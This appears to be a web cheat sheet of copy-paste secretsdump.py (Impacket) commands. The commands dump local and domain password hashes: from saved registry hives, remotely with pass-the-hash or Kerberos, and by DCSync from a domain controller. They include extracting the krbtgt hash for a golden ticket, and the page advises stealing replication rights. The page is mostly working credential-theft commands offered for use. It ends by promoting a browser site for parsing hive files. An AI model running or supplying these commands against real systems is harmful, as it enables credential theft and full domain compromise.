secretsdump.py cheat sheet: commands and examples

A copy-paste reference for the most common secretsdump.py (Impacket) invocations, grouped by scenario. Replace the $VARIABLES with your own values.

Offline dumping from exported hives (LOCAL)

The LOCAL keyword tells secretsdump to parse hive files instead of connecting to a host. You always need the SYSTEM hive (it holds the boot key) plus whichever hive you want to decrypt.

# SAM only (local account NT/LM hashes)
secretsdump.py -sam sam.save -system system.save LOCAL

# LSA secrets only (machine account, DPAPI keys, cached logons)
secretsdump.py -security security.save -system system.save LOCAL

# SAM + LSA together
secretsdump.py -sam sam.save -security security.save -system system.save LOCAL

# Include password history
secretsdump.py -sam sam.save -system system.save -history LOCAL

# Domain hashes from a stolen NTDS.dit
secretsdump.py -ntds ntds.dit -system system.save LOCAL

# Write results to files (creates <prefix>.sam, <prefix>.ntds, ...)
secretsdump.py -sam sam.save -system system.save -outputfile hashes LOCAL

Not sure how to read the result? See the secretsdump output format breakdown.

Exporting the hives first

Offline dumping needs the hives on disk. From a live Windows host:

reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
reg save HKLM\SYSTEM system.save

For a domain controller's NTDS.dit, use a Volume Shadow Copy (the file is locked while the DC runs).

Remote dumping

Against a reachable host, secretsdump extracts SAM + LSA over the network:

# Password authentication
secretsdump.py "$DOMAIN/$USER:$PASSWORD@$TARGET"

# Local account authentication
secretsdump.py "./$USER:$PASSWORD@$TARGET"

# Pass-the-hash (NT hash only; LM half can be blank)
secretsdump.py -hashes ":$NTHASH" "$DOMAIN/$USER@$TARGET"

# Kerberos (uses the KRB5CCNAME ccache)
secretsdump.py -k -no-pass "$DOMAIN/$USER@$TARGET"

# When DNS is unhelpful, pin the IP
secretsdump.py -target-ip "$TARGET_IP" "$DOMAIN/$USER:$PASSWORD@$TARGET"

DCSync — domain hashes from a DC

With replication rights (Domain Admin, or a principal granted DS-Replication-Get-Changes), secretsdump pulls hashes straight from a domain controller without touching disk, using the DRSUAPI method:

# All domain accounts (NTLM + Kerberos keys)
secretsdump.py -just-dc "$DOMAIN/$USER:$PASSWORD@$DC"

# NTLM hashes only (skip Kerberos keys, faster)
secretsdump.py -just-dc-ntlm "$DOMAIN/$USER:$PASSWORD@$DC"

# A single account — e.g. the krbtgt for a golden ticket
secretsdump.py -just-dc-user krbtgt "$DOMAIN/$USER:$PASSWORD@$DC"

# Add account status and password-set dates
secretsdump.py -just-dc -user-status -pwd-last-set "$DOMAIN/$USER:$PASSWORD@$DC"

Flag quick reference

Common gotchas

• "Not enough privileges" on remote dumps — SAM/LSA extraction needs local administrator rights on the target; a standard domain user is not enough.
• DCSync fails — -just-dc requires replication rights on the domain, not just admin on one machine. Grant or steal DS-Replication-Get-Changes.
• Empty NT hash everywhere — a value of 31d6cfe0d16ae931b73c59d7e0c089c0 is the hash of a blank password, not an error.
• Wrong hive order — with LOCAL, the order of -sam/-security/-system does not matter, but the SYSTEM hive must always be present.

Run it without installing anything

The offline LOCAL workflows above are exactly what secretsdump.com reproduces in the browser — drop your SYSTEM, SAM, SECURITY or NTDS.dit files onto the page and the parsing happens client-side, with no Python install and nothing uploaded.